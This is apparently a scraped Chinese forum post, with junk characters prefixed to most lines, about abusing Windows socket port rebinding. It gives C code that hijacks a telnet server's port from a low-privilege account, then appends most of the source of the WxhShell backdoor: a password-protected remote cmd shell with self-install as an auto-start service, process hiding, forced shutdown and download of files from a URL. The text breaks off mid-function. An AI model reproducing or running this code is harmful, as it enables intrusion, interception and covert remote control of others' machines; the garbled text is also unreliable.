在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
tG{? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
O8J:Tw}M* UdSu:V| saddr.sin_family = AF_INET;
C}~/(;1V= Rlq6I?S+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
e>oE{_e fK$N|r bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_:tclBc8R c=-2c&=& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=XT'D@q~W wu2AhMGmw 这意味着什么?意味着可以进行如下的攻击:
h/CF^0m"! 0 CJ4]mYl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ji &*0GJQ l5jW`cl1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
r7I,%}k CwV1~@{- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z_^v#FJ'l yL&_>cV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
u D.E>.B ;-G!jWt6Zi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
qwb`8o -CTsB)=\, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]/d4o <?TJ- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&<u
pj b $j~oB:3n7 #include
_n3Jf<Y #include
Oc]&1>M #include
l7]$Wc[ #include
z"eh.&T DWORD WINAPI ClientThread(LPVOID lpParam);
?gSk%]S/! int main()
biFN]D {
x+O}R D*G WORD wVersionRequested;
@'EP$!c DWORD ret;
LRhq%7p7 WSADATA wsaData;
Xcq9*!%o BOOL val;
-9S.G SOCKADDR_IN saddr;
O ).1> SOCKADDR_IN scaddr;
#0-!P+c[ int err;
JuGQS24 SOCKET s;
}G8RJxy SOCKET sc;
c-INVA) int caddsize;
t;DZ^Z"{ HANDLE mt;
':7%@2Zo DWORD tid;
Q7y6</4f wVersionRequested = MAKEWORD( 2, 2 );
-S=Zsr\ err = WSAStartup( wVersionRequested, &wsaData );
1%L* 9>e if ( err != 0 ) {
6,Q{/ printf("error!WSAStartup failed!\n");
%Km_Sy[7'] return -1;
dkV%Pyj }
t9&z|?Vz saddr.sin_family = AF_INET;
E(T6s^8 xNNoB/DR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
]|q\^k)JU i\S } aCm saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
qj71
rj saddr.sin_port = htons(23);
Ru?Ue4W^b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Av*R(d=` {
.P=uR8 printf("error!socket failed!\n");
9?*BN\E5S return -1;
Z_qs_/y }
b; SFnZa8 val = TRUE;
r +]
J {k //SO_REUSEADDR选项就是可以实现端口重绑定的
@o+T<}kW X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
SnbH`\U" {
IbpE@C printf("error!setsockopt failed!\n");
N(?yOB4gt return -1;
xG_ ;F }
{rWu`QT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
N0c+V["s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`8F%bc54iw //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b`n+[UCPtn D PnKr/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{uO8VL5+Qx {
x8T5aS ret=GetLastError();
]{OEU]I@ printf("error!bind failed!\n");
Tk-PCra return -1;
?lb1K'( }
do{#y*B/g! listen(s,2);
nzDS while(1)
G'(
%8\ {
6|#^4D)
caddsize = sizeof(scaddr);
pBt/vS ad //接受连接请求
\n850PS sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@A6\v+ih if(sc!=INVALID_SOCKET)
n@BE*I<" {
+1p>:cih mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
_QtqQ~f if(mt==NULL)
9`^VuC' {
?B %y)K printf("Thread Creat Failed!\n");
3V`K^X3 break;
vi0% jsI }
asR6,k }
XJ]MPiXj CloseHandle(mt);
w\;=3C` }
?ZSG4La\ closesocket(s);
&a8#qv"l WSACleanup();
2 c'=^0: return 0;
@yaBtZUp3 }
+[r%y,k DWORD WINAPI ClientThread(LPVOID lpParam)
!23W=N}82 {
}i/&m&VU SOCKET ss = (SOCKET)lpParam;
"zw?AC6 SOCKET sc;
Ul[>LKFY unsigned char buf[4096];
3WJ> T1we SOCKADDR_IN saddr;
v?<x"XKR long num;
##u+[ ! DWORD val;
xP'IyABx DWORD ret;
7F`QN18>( //如果是隐藏端口应用的话,可以在此处加一些判断
7&klX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)+ Wr- Yay saddr.sin_family = AF_INET;
b6S86> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%kJ:{J+w] saddr.sin_port = htons(23);
CBSJY&:K if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!{s$V2_ {
ue/6DwUv printf("error!socket failed!\n");
@V]
Wm1g return -1;
+M@G 8l }
(eJr-xZ/ val = 100;
$t1]w]}d if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dqUhp_f2qK {
F4Ft~:a ret = GetLastError();
U3lr<(r* return -1;
V{Idj\~Jh }
KN~E9oGs if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
X>%2\S {
]qXHalHY ret = GetLastError();
FTCp3g return -1;
-ihF)^"a }
Lj(hk@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)dF(5,y) {
uh#PZ
xnP printf("error!socket connect failed!\n");
P>pkLP}
Vo closesocket(sc);
R_vZh| closesocket(ss);
8+gx?pb return -1;
'xStA }
=]xNpX) while(1)
.1I];Cy0D {
r'&9'rir2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}jiqUBn% //如果是嗅探内容的话,可以再此处进行内容分析和记录
ADv
a@P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6{azzk8 num = recv(ss,buf,4096,0);
7@EYF if(num>0)
Yc?t aL) send(sc,buf,num,0);
_gC<%6#V`r else if(num==0)
EemKYcE@Nr break;
%/etoK num = recv(sc,buf,4096,0);
_5
tw1 > if(num>0)
5B2x#
m|8 send(ss,buf,num,0);
bHS2;K~ else if(num==0)
ZFW}Vnl break;
{K3\S
0L }
jI;bVG
closesocket(ss);
q3NS?t! closesocket(sc);
tO[+O=d return 0 ;
GetUCb%1 }
0A?w,A`" a' #-%!] ~g|e?$j ==========================================================
;S?1E:\av K/\#FJno 下边附上一个代码,,WXhSHELL
$Q{1^ 0M8JE9 Kx ==========================================================
aGpRdF1;! zo} SS[ #include "stdafx.h"
Vg
\-^$ ~BS*x+M #include <stdio.h>
~iwEhF #include <string.h>
_&(ij(H #include <windows.h>
mnmwO(. #include <winsock2.h>
oN `tZ;a #include <winsvc.h>
#mkr]K8A4 #include <urlmon.h>
m qw!C lmmyDg1R #pragma comment (lib, "Ws2_32.lib")
[7I|8 #pragma comment (lib, "urlmon.lib")
)&dhE^
O d}l^yln #define MAX_USER 100 // 最大客户端连接数
!+hX$_RT #define BUF_SOCK 200 // sock buffer
VpVw:Rh> #define KEY_BUFF 255 // 输入 buffer
huKz["]z[ p*npY"}v #define REBOOT 0 // 重启
YSa:"A #define SHUTDOWN 1 // 关机
hq,;H40%/ [tD*\\IA #define DEF_PORT 5000 // 监听端口
iBo-ANnK9 Uw&+zJ #define REG_LEN 16 // 注册表键长度
o~4n8 #define SVC_LEN 80 // NT服务名长度
!zJ.rYZ=g` ~-:CN(U // 从dll定义API
&PgdCijGq; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
v$tS2N2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
cF(9[8c{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4tuEC-oh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\~?s= LT *(>$4$9n // wxhshell配置信息
q!ZmF1sU struct WSCFG {
]#:xl}'LS int ws_port; // 监听端口
w
x,; char ws_passstr[REG_LEN]; // 口令
1|.
0]~0 int ws_autoins; // 安装标记, 1=yes 0=no
r?X^*o9 char ws_regname[REG_LEN]; // 注册表键名
/Hx0=I char ws_svcname[REG_LEN]; // 服务名
w`7l;7[ char ws_svcdisp[SVC_LEN]; // 服务显示名
c=b\9!hr_E char ws_svcdesc[SVC_LEN]; // 服务描述信息
O,OGq0c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,@!d%rL:4] int ws_downexe; // 下载执行标记, 1=yes 0=no
F`-[h)e. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
A.h?#%TLL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Xj@Kt|&`k =0f8W=d:Vr };
{a_L
/"7 -{7N]q)} // default Wxhshell configuration
&&y@/<t struct WSCFG wscfg={DEF_PORT,
=[jBOx& "xuhuanlingzhe",
CD tYj 1,
Q-au)R, "Wxhshell",
+nZG!nP "Wxhshell",
2 sOc]L:9 "WxhShell Service",
eS.]@E-T "Wrsky Windows CmdShell Service",
A"k,T7B "Please Input Your Password: ",
j?mJ1J5 1,
_0f[.vN "
http://www.wrsky.com/wxhshell.exe",
<n:?WP~U "Wxhshell.exe"
\c\=S };
ueg X iB,*X[}EqG // 消息定义模块
U^YPL,m1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8)tyn'~i char *msg_ws_prompt="\n\r? for help\n\r#>";
.cabw+&7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<5#e.w char *msg_ws_ext="\n\rExit.";
Rd$<R char *msg_ws_end="\n\rQuit.";
<'B^z0I, char *msg_ws_boot="\n\rReboot...";
n^%u9H char *msg_ws_poff="\n\rShutdown...";
vJ'ho char *msg_ws_down="\n\rSave to ";
s6]f#s5o bc"N char *msg_ws_err="\n\rErr!";
POG5x char *msg_ws_ok="\n\rOK!";
+OH."4Z V&nN/CF char ExeFile[MAX_PATH];
.=FJ5?:4i% int nUser = 0;
#Nd+X@j HANDLE handles[MAX_USER];
z7_./ksQ int OsIsNt;
jl@8pO$ <>:kAT,sP SERVICE_STATUS serviceStatus;
M@K[i*e SERVICE_STATUS_HANDLE hServiceStatusHandle;
5a~1RL I|5OCTu // 函数声明
onlyvH4 int Install(void);
/PCQv_Y&,/ int Uninstall(void);
=e+go
]87x int DownloadFile(char *sURL, SOCKET wsh);
BdKwWgi+a int Boot(int flag);
**"P A8 void HideProc(void);
@hvq,[ int GetOsVer(void);
w&gHmi int Wxhshell(SOCKET wsl);
;uDFd04w
[ void TalkWithClient(void *cs);
+W1rm$Q int CmdShell(SOCKET sock);
k8JPu"R int StartFromService(void);
9x1Dyz 2?F int StartWxhshell(LPSTR lpCmdLine);
Z4!3I@yZ |eqDT,4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
r=`>'3
} x VOID WINAPI NTServiceHandler( DWORD fdwControl );
8B+uNN~%] ?.s*)n // 数据结构和表定义
nr^p H. SERVICE_TABLE_ENTRY DispatchTable[] =
vKt_z@{{L {
;4bu=<% {wscfg.ws_svcname, NTServiceMain},
8dH|s#.4um {NULL, NULL}
N#:"X; };
h CiblM \2`U$3Q // 自我安装
u&Fm}/x int Install(void)
6uyf {
dB5DJ:$W$ char svExeFile[MAX_PATH];
uprQy<I@ HKEY key;
U&XoT-p$L strcpy(svExeFile,ExeFile);
]VME`]t` 1}pR')YL[ // 如果是win9x系统,修改注册表设为自启动
'FhnSNT(4= if(!OsIsNt) {
bsm,lx]bH^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qrkT7f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[ n2udV RegCloseKey(key);
7,zARWB!? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
On^#x] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8{YxUD RegCloseKey(key);
V("1\ return 0;
_biJch }
D/WS }
{JgN^R<5<f }
OOCeZ3yF( else {
kWd'gftQ t/Fe"T[,V // 如果是NT以上系统,安装为系统服务
UU;:x"4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
z#4g,)ZX if (schSCManager!=0)
7'S] {
63HkN4D4 SC_HANDLE schService = CreateService
{E/TC% (
kXr%73s schSCManager,
GpL#,q Yc wscfg.ws_svcname,
E@FenCF wscfg.ws_svcdisp,
m
C Ge*V} SERVICE_ALL_ACCESS,
0 *\=Q$Yy SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@2gMtf?< SERVICE_AUTO_START,
K5SO($ SERVICE_ERROR_NORMAL,
YSgF'qq\ svExeFile,
)VT/kIq-U NULL,
{/<& NULL,
(=j!P* NULL,
w^gh&E NULL,
d%3BJ+J NULL
Ie"R,,c );
L
~w=O! if (schService!=0)
6{'6_4;Fv( {
2XHk}M| CloseServiceHandle(schService);
ja/[PHq" CloseServiceHandle(schSCManager);
?=kswf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*-_Npu6 strcat(svExeFile,wscfg.ws_svcname);
Qx;A; n!lw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7o. 'F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3U)8P6Fz RegCloseKey(key);
"tM/`:Qp return 0;
Be+:-t) }
\0h/~3 }
kP$gl| CloseServiceHandle(schSCManager);
37xxVbik }
kg@h R} }
[JoTWouNU WFP\;(YV return 1;
h86={@Le }
0K ?(xB YHYB.H) // 自我卸载
{O)&5 int Uninstall(void)
W#j,{&KVn {
@3YuV=QfH HKEY key;
U[l%oLra ItADO'M if(!OsIsNt) {
l #Q`f. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7h1gU RegDeleteValue(key,wscfg.ws_regname);
jm\#($gl= RegCloseKey(key);
#Uh 5tc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"ux]kfoT RegDeleteValue(key,wscfg.ws_regname);
AvZ) 1( RegCloseKey(key);
Wg^cj:&`u return 0;
)/"7$2Aoy }
&F_rg,q&_ }
x[UO1% _o- }
<q2nZI^ else {
<R>z;2c 070IBAk}_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)1Nnn if (schSCManager!=0)
RFY!o<
{
-G#k/Rz6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
sG2 3[t8 if (schService!=0)
E]U0CwFtr {
`Xdxg\| if(DeleteService(schService)!=0) {
-P>=WZu CloseServiceHandle(schService);
:-La
$I> CloseServiceHandle(schSCManager);
fhKiG%i'l return 0;
.To:tN# }
<C;>$kX CloseServiceHandle(schService);
sdYj'e:N }
e oSM@Isu CloseServiceHandle(schSCManager);
|SKG4_wGe }
z \>X[yNpA }
J"/z?!)IB PMs_K"-K return 1;
j#t8Krd] " }
+wozjjc x}'4^Cv // 从指定url下载文件
:xS&Y\ry int DownloadFile(char *sURL, SOCKET wsh)
siYRRr {
g)qnjeSs] HRESULT hr;
^85n9a?8 char seps[]= "/";
J+jmSK%z char *token;
Cfo 8gX* char *file;
Lo5@zNt%W char myURL[MAX_PATH];
PMhhPw] char myFILE[MAX_PATH];
1D p@n _G #"B{7 strcpy(myURL,sURL);
;+34g6 token=strtok(myURL,seps);
^z}lGu while(token!=NULL)
~49N {
917 0bmr file=token;
S?\hbM]V-o token=strtok(NULL,seps);
Y{vwOs }
QM_X2Ho r/hyW6e_ GetCurrentDirectory(MAX_PATH,myFILE);
cO+Xzd;838 strcat(myFILE, "\\");
V<ApHb strcat(myFILE, file);
5}bZs` C send(wsh,myFILE,strlen(myFILE),0);
D%UZ'bHN* send(wsh,"...",3,0);
q|i%)V`)- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$?J+dB if(hr==S_OK)
igBrmaY' return 0;
o 7W Kh= else
Y%:0|utQC return 1;
5b1uD>,;y rjHIQC C }
uk[< 6oxz nIQ&gbfO // 系统电源模块
2?- 07 g int Boot(int flag)
[~c'|E8Q {
<o!&Kk 9 HANDLE hToken;
_b_?9b-)D TOKEN_PRIVILEGES tkp;
``|RO[+2 dMs||&|& if(OsIsNt) {
{{*]bGko OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
AXP`,H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@D~+D@i$TW tkp.PrivilegeCount = 1;
'nWs0iH. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9/1+BQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Zxc7nLKF~ if(flag==REBOOT) {
(s$u_aq77 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
? x"HX|n return 0;
!@<@QG- }
N^
s!!Sbpq else {
p&sK\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
VkDS&g~Ws return 0;
(y~laW! }
MATgJ`lsy }
!3I(4?G, else {
daB l%a= if(flag==REBOOT) {
.3&a{IxM] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o4%Vt} K return 0;
mw(c[.*% }
/pN'K5@ else {
a WeBav}_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>*= =wlOB return 0;
q)V1{B@ }
%U5P} }
xshArJ&A 8VuZ,!WH# return 1;
!ASoXQRz }
g+ }s:9 ;EJPrDHTk // win9x进程隐藏模块
inPE/Ux void HideProc(void)
wD6!#t k {
|O(-CDQe t1w2u.] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UOWIiu if ( hKernel != NULL )
:'y{dbKp" {
<r<Dmn|\a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
d]CviQUq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
97Zk
P=Cq FreeLibrary(hKernel);
Wm)-zvNY; }
NFY|^*bll cZe'!CQS return;
7Ai o`&^ }
@)vy'qP d f2 ydL/M, // 获取操作系统版本
0L:V#y-* int GetOsVer(void)
lmhbF {
1Y=AT!"V OSVERSIONINFO winfo;
', sQ/#S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
xvR?~ GetVersionEx(&winfo);
BbrT f"` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Y9i9Uc.] return 1;
Nmp>UE,7[ else
-@ZzG uS( return 0;
)X~Pr?52? }
=a)iVXSB] >*`>0Q4y // 客户端句柄模块
_Z+jQFKJ\8 int Wxhshell(SOCKET wsl)
\Pl,'
1% {
hdd>&?p3 SOCKET wsh;
@PQrmn6w struct sockaddr_in client;
5S%C~iB DWORD myID;
Z
7s;F}= 3@^>#U
while(nUser<MAX_USER)
hNgpp- {
-DP8NTl" int nSize=sizeof(client);
Gla@l< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Hz}+SAZ if(wsh==INVALID_SOCKET) return 1;
&Y,Q>bu -F"d0a, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/ R_ u\?k( if(handles[nUser]==0)
;TL(w7vK closesocket(wsh);
0)d?Y else
^\M
dl nUser++;
,`<^F:xl }
\|2tTvW,0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
xLx"*jyL K2cq97k,d return 0;
8jy-z"jc }
e0f":Vct >ik1]!j]Lv // 关闭 socket
]3L@$`ys void CloseIt(SOCKET wsh)
(8CCesy& {
V@vhj R4r\ closesocket(wsh);
eo1&.FQu nUser--;
XzT78 ExitThread(0);
b fp,zs }
\ Y*h NW{y%Z // 客户端请求句柄
6Z~Ya\~.g. void TalkWithClient(void *cs)
.zvlRt.zl {
&/s~? Iq hPan SOCKET wsh=(SOCKET)cs;
0VzXDb>` char pwd[SVC_LEN];
nQ5N=l char cmd[KEY_BUFF];
7p)N_cJD char chr[1];
Rl_.;?v"! int i,j;
8+"10q- /61by$E while (nUser < MAX_USER) {
4|nQ=bIau "hWJ3pi{o{ if(wscfg.ws_passstr) {
0 Tcz[$? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RcgRaQ2^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!\CG,E k //ZeroMemory(pwd,KEY_BUFF);
CN7k?JO< i=0;
Q0pzW:=s] while(i<SVC_LEN) {
(cvh3', ^8:VWJM // 设置超时
ql^g~b fd_set FdRead;
eSl]8BX_ struct timeval TimeOut;
9C_*3?6 FD_ZERO(&FdRead);
s=MT, FD_SET(wsh,&FdRead);
U,PZMz`2j TimeOut.tv_sec=8;
k, f)2< TimeOut.tv_usec=0;
<EtUnj:qK8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]nUR;8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
cTM$ZNin 7_DG 5nT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&vCeLh:s pwd
=chr[0]; ]/Vh{d|I&
if(chr[0]==0xd || chr[0]==0xa) { kI%peb?
pwd=0; aD2*.ln><
break; tM)Iir*U#
} QU.0Elw
i++; M;*$gV<x
} GuT6K}~|D
X~lZ OVmS
// 如果是非法用户,关闭 socket #e/2C
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T|ZF/&XP
} :cy>c2
Q!yb16J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +'|{1gB
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %tV32l=
/}Yqf`CZy
while(1) { Hle\ON
:r&iMb:Ra
ZeroMemory(cmd,KEY_BUFF); wUoiXi09
Q"%QQo}}
// 自动支持客户端 telnet标准 e8,{|a
j=0; }!8nO;
while(j<KEY_BUFF) { d<x1*a
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gzw@w{JBL
cmd[j]=chr[0]; ;o[rQ6+
if(chr[0]==0xa || chr[0]==0xd) { f])M04<
cmd[j]=0; o~#f1$|Xn
break; 0x@A~!MoP
} p*
RC
j++; 1Dq<{;rWb
} bhD ~4Rz
Ry z?v<)h
// 下载文件 +3;Ody"59
if(strstr(cmd,"http://")) { g:_hj_1Y M
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;1 |x
if(DownloadFile(cmd,wsh)) ~^&R#4J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); II;Te7~
else ~.Cv
DJy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @RGDhwS47
} o)&"Rf
else { GRT]aw
3pSj kS|?>
switch(cmd[0]) { */w7?QOv
ydQ!4
// 帮助 wiJRCH
case '?': { 56DoO'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l$a?A[M$
break; ! Z;T-3^.
} U\jb"
// 安装 #op:/j
case 'i': { @QdnjXII*
if(Install()) +@ MPQv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s\gp5MT
else SO;N~D1Z6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2no$+4+z
break; o5swH6Y.)J
} iA'As%S1
// 卸载 bb;(gK;F
case 'r': { bO3GVc+S
if(Uninstall()) dU]/$7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H(|AH;?ou
else F_=1;,K%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I{ ryD -!
break; ?mx\eX{
} -\#lF?fzb
// 显示 wxhshell 所在路径 &gn-Wb?
case 'p': { "uKFOV?j&
char svExeFile[MAX_PATH]; B+] D5K
strcpy(svExeFile,"\n\r"); E!J=8C.:
strcat(svExeFile,ExeFile); 8#X_#
send(wsh,svExeFile,strlen(svExeFile),0); PLA#!$c7q
break; _c2WqQ-05
} m\ S\3n
// 重启 JoZ(_Jh%m
case 'b': { *fnvZw?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $dQIs:
if(Boot(REBOOT)) mR%FqaN_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }D*yr3b
else { <*(^{a.O
closesocket(wsh); :,S98z#
ExitThread(0); z.oU4c
} .[:VSM7T
break; 8{0k0 &x
} :Q_3hK
// 关机 %S@L|t
case 'd': { M`7y>Ud
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bgF^(T35
if(Boot(SHUTDOWN)) lnh+a7a)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'yY>as
else { '<dgT&8C
closesocket(wsh); R)5n 8
ExitThread(0); !GwL,)0@^
} -Z0+oU(?YE
break; T2FE+ A]n9
} 6C [E
// 获取shell sOBu7!G%
case 's': { A"uULfnk
CmdShell(wsh); pOT7;-#n
closesocket(wsh); 'cBBt
ExitThread(0); $s-Y%gc
break; PuL<^aJ
} Z=?aEU$7
// 退出 S`!-Cal`n
case 'x': { ik.A1j9oN
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vLT0ETHg6
CloseIt(wsh); ZnW@YC#9
break; W*N$'%
} Bv6K$4
// 离开 By)u-)g9
case 'q': {
y<:<$22O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); z>m=h)9d~
closesocket(wsh); P7.' kX9
WSACleanup(); i-"
p)2d=#
exit(1); X4|4QgY
break; o0bM=njok
} ?6^|ZtB
} T,%j\0
} W-efv
n.}E5%qK
// 提示信息 ?jx1R^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p-GAe,2q
} >&:NFq-
} )%d*3\Tsd
c; 2#,m^
return; Pe;Y1Qq>>
} 3qL>-%):*
)2IH
5
// shell模块句柄 [ic 870_
int CmdShell(SOCKET sock) *Hz^K0:8(
{ f+_h !j
STARTUPINFO si; AlXNg!j;5K
ZeroMemory(&si,sizeof(si)); J aTp}#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'cix`l|^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kF"@Ngv.
PROCESS_INFORMATION ProcessInfo; Gf EX>
char cmdline[]="cmd"; T .FI'wy
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4JGtI*%5lq
return 0; 9h4({EE2t
} aJ") <_+
~*A8+@\R
// 自身启动模式 0'YG6(h
int StartFromService(void) kE9esC3
{ !K
f#@0E..
typedef struct xG&)1sT#-\
{ G s+3e8
DWORD ExitStatus; a`[uNgDO
DWORD PebBaseAddress; a2'^8;U*_
DWORD AffinityMask; VXLT^iX
DWORD BasePriority; d?`ny#,GB
